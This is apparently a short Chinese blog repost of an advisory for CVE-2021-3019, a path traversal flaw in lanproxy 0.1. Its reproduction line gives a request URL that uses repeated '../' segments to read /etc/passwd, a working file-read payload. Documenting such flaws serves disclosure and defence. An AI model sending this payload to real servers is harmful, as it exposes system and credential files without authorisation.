CVE-2021-3019
Posted 【码猿】
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2021-3019相关的知识,希望对你有一定的参考价值。
lanproxy 文件读取
lanproxy简介
lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面…)
漏洞影响版本
lanproxy 0.1
漏洞概述
通过…/…/可以穿越目录进行目录遍历
漏洞复现
http://BaseUrl/…/…/…/…/…/etc/passwd
以上是关于CVE-2021-3019的主要内容,如果未能解决你的问题,请参考以下文章